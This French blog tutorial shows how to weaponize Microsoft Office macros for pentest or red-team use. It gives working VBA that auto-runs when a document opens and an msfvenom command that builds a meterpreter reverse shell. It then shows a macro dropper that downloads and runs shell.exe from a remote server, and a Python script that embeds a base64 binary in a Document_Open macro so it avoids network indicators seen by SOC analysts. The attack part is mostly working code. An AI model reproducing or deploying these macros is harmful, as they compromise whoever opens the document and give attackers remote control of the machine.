Exploitation des macros Office

Tout document de la suite Office permet d'intégrer des macros. Ces macros sont en fait du code qui pourra être exécuté dans le but  (originellement) de manipuler les données du dit document. Dans le cas d'un pentest ou encore d'un redteam nous ne nous en servirons bien évidemment pas de cette manière. Nous, nous allons utiliser les macros de manière à exécuter des commandes sur la machine que nous ciblons.

I/ Macro 1o1

Le gestionnaire de macro est accessible depuis n'importe quel outil de la suite Office en tapant sur la touche Alt + F11 et se présente de la sorte:

L'édition de macro est assez simple en soit bien que cela nécessite de bonnes connaissances en VBA. Ci-dessous vous trouverez une macro qui ne fait qu'exécuter une requête GET vers l'IP 192.168.43.71:

Sub http_req()
ip = "192.168.43.71"
port = "8000"
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")

URL = "http://" & ip & ":" & port & "/coucou"
objHTTP.Open "GET", URL, False
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send ("")
End Sub

Et effectivement lorsque l''on exécute la macro, on reçoit bien une requête sur notre serveur web:

Seulement  on voudrait que cette macro soit exécutée dès lors que l'utilisateur ouvre le fichier Excel. Pour cela il faudra cliquer sur "ThisWorkbook":

Cet onglet contient une fonction qui s'appelle "Workbook_Open()". C'est ici qu'il faudra mettre notre charge pour que cette dernière soit exécutée automatiquement à l'ouverture du fichier:

Alors oui cet exemple n'est pas vraiment dangereuse pour un utilisateur final mais cela montre l'étendu des possibilités offertes par les macros Office. Ce n'est pas pour rien que les documents Office sont les moyens de propagation de virus par excellence. En général les macros Office sont utilisées afin de dropper et exécuter un binaire. Parfois le binaire est contenu au sein du document word lui même. Dans la suite de cet article nous verrons comment réaliser ces deux types d'attaque de manière à obtenir un reverse shell meterpreter créé via MSFvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.71 LPORT=4444 -f exe > shell.exe

Pour ne pas rendre cet article trop compliqué j'ai volontairement désactivé tout anti virus ainsi que Windows Defender.

II/ How to dropper

Un dropper ce n'est rien d'autre que du code qui va télécharger et exécuter un binaire localisé sur un serveur distant. Du coup la création d'un dropper en VBA est assez simple: on effectue une requête GET, on stocke le fichier sur le disque puis on l'exécute:

Sub dropper()
' Some variables
URL = "http://192.168.43.71:8000/shell.exe"
dest = "C:\Users\ach\AppData\Local\Temp\shell.exe"

' Requête GET pour vérifier que le binaire shell.exe est accessible
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", URL, False
WinHttpReq.send

' Si c'est le cas alors on le télécharge puis on l'écrit
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile dest, 2
    oStream.Close
End If

' Enfin on l'exécute
Call Shell(dest)
End Sub

Ici le binaire téléchargé est sauvegardé dans le répertoire suivant:

C:\Users\ach\AppData\Local\Temp\shell.exe

Puis exécuté à l'aide des instructions suivantes:

Call Shell(dest)

Et effectivement nous récupérons un shell meterpreter:

Seulement ce vecteur présente deux inconvénients:

  • Il faut récupérer le binaire à distance ce qui peut être bloqué par un firewall
  • Il faut écrire le binaire sur le disque avant de l'exécuter ce qui peut être bloqué par un anti virus

C'est là que le binaire embarqué devient plus intéressant!

III/ Binaire embarqué

Cette fois nous n'allons pas télécharger le binaire depuis un serveur distant mais nous allons l'embarquer dans notre macro. Pour embarquer un binaire il faut avant tout l'encoder soit en hexadécimal soit en base64. Ensuite il faudra découper la chaîne encodée en multiples chaînes. En effet VBA n'accepte pas la création de string sur plusieurs lignes. De plus une string ne peut pas avoir une taille de plus de 255 caractères.

Une fois le binaire embarqué il ne nous restera plus qu'à exécuter la macro qui décodera le binaire, l'écrira dans un fichier puis l'exécutera. Bien évidemment tout ceci est bien trop long (et trop chiant) à faire à la main donc je l'ai scripté:

#!/usr/bin/python3

import os
import sys
import base64

if len(sys.argv) != 2:
    sys.exit("Usage: python embed.py <executable>")

executable = open(sys.argv[1], "rb").read()
print("[!] Embedding {0}".format(sys.argv[1]))

# Encoding
print("[+] Encoding {0} bytes of data".format(len(executable)))
executable_encoded = base64.b64encode(executable)

# Creating VBA string
lines = [executable_encoded[i:i+100] for i in range(0, len(executable_encoded), 100)]

print("[+] Creating the macro")
encoded = """Private Sub Document_Open()
dim encoded as String\n"""
for line in lines:
    encoded += 'encoded = encoded & "{0}"\n'.format(line.decode())

encoded += """
Dim base64decoded As String
base64decoded = Base64Decoding(encoded)
file = Environ("userprofile") & "\\Desktop\\fuckyou.exe"
Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
With oFSO.createTextFile(file)
    .Write (base64decoded)
    .Close
End With
Call Shell(file)
End Sub

Public Function Base64Decoding(StrToDecode As String, Optional CheckInvalidChars As Boolean = True) As String
    Static DecodeTable(0 To 255) As Byte
    
    Dim OutStr() As Byte, StrIn() As Byte
    Dim K As Long, Lng As Long
    
    If DecodeTable(0) = 0 Then
        For K = 0 To 255
            DecodeTable(K) = 255
        Next K
        
        For K = 0 To 25
            DecodeTable(K + 65) = K
        Next K
        
        For K = 26 To 51
            DecodeTable(K + 71) = K
        Next K
        
        For K = 52 To 61
            DecodeTable(K - 4) = K
        Next K
        
        DecodeTable(43) = 62
        DecodeTable(47) = 63
    End If
    
    If StrToDecode = "" Then Exit Function
    
    StrToDecode = Trim(StrToDecode)
    
    If CheckInvalidChars Then
        For K = 0 To 255
            If Not (Chr(K) Like "[A-Za-z0-9+/=]") Then
                StrToDecode = Replace(StrToDecode, Chr(K), "")
            End If
        Next K
    End If
    
    StrIn() = StrConv(StrToDecode, vbFromUnicode)
    ReDim OutStr(0 To ((Len(StrToDecode) \\ 4) * 3 - 1))
    
    For K = 0 To Len(StrToDecode) \\ 4 - 2
        Lng = DecodeTable(StrIn(K * 4 + 3))
        Lng = Lng Or (DecodeTable(StrIn(K * 4 + 2)) * &H40&)
        Lng = Lng Or (DecodeTable(StrIn(K * 4 + 1)) * &H1000&)
        Lng = Lng Or (DecodeTable(StrIn(K * 4 + 0)) * &H40000)
        
        OutStr(K * 3 + 0) = (Lng And &HFF0000) \\ &H10000
        OutStr(K * 3 + 1) = (Lng And &HFF00&) \\ &H100&
        OutStr(K * 3 + 2) = Lng And &HFF&
    Next K
    
    Lng = 0
    If DecodeTable(StrIn(K * 4 + 3)) <> 255 Then Lng = DecodeTable(StrIn(K * 4 + 3))
    If DecodeTable(StrIn(K * 4 + 2)) <> 255 Then Lng = Lng Or (DecodeTable(StrIn(K * 4 + 2)) * &H40&)
    If DecodeTable(StrIn(K * 4 + 1)) <> 255 Then Lng = Lng Or (DecodeTable(StrIn(K * 4 + 1)) * &H1000&)
    If DecodeTable(StrIn(K * 4 + 0)) <> 255 Then Lng = Lng Or (DecodeTable(StrIn(K * 4 + 0)) * &H40000)
    
    OutStr(K * 3 + 0) = (Lng And &HFF0000) \\ &H10000
    OutStr(K * 3 + 1) = (Lng And &HFF00&) \\ &H100&
    OutStr(K * 3 + 2) = Lng And &HFF&
    
    If StrIn(UBound(StrIn) - 1) = 61 Then
        Base64Decoding = Left(StrConv(OutStr, vbUnicode), UBound(OutStr) - 1)
    ElseIf StrIn(UBound(StrIn)) = 61 Then
        Base64Decoding = Left(StrConv(OutStr, vbUnicode), UBound(OutStr) - 0)
    Else
        Base64Decoding = StrConv(OutStr, vbUnicode)
    End If
End Function
"""


handler = open("output", "w+")
handler.write(encoded)
handler.close()

Le script prend en paramètre un exécutable et renvoie en sortie un fichier contenant la macro finale:

python3 embed.py shell.exe

Il ne reste plus qu'à importer cette macro dans notre éditeur VBA:

Sauvegarder le fichier puis l'ouvrir pour obtenir un reverse shell Meterpreter:

Dans ce cas-ci aucune requête GET n'est émise vers un serveur distant donc on supprime un indice de compromission qui pourrait être utilisé par un analyste forensic ou encore un analyste SOC. Est-ce qu'on peut faire mieux ?

Oui, en effet que ce soit avec notre dropper classique ou avec le dropper embarqué, un fichier est écrit sur le disque dur. Or les fichiers écrits sur le disque sont souvent scannés par les anti virus puis supprimer s'ils semblent malicieux.

Ci-dessous on peut voir que le binaire shell.exe qui contient un meterpreter reverse TCP est directement scanné par Windows Defender puis supprimer du Bureau:

Une idée d'amélioration serait donc de passer par un dropper fileless dont on parlera dans un prochain article.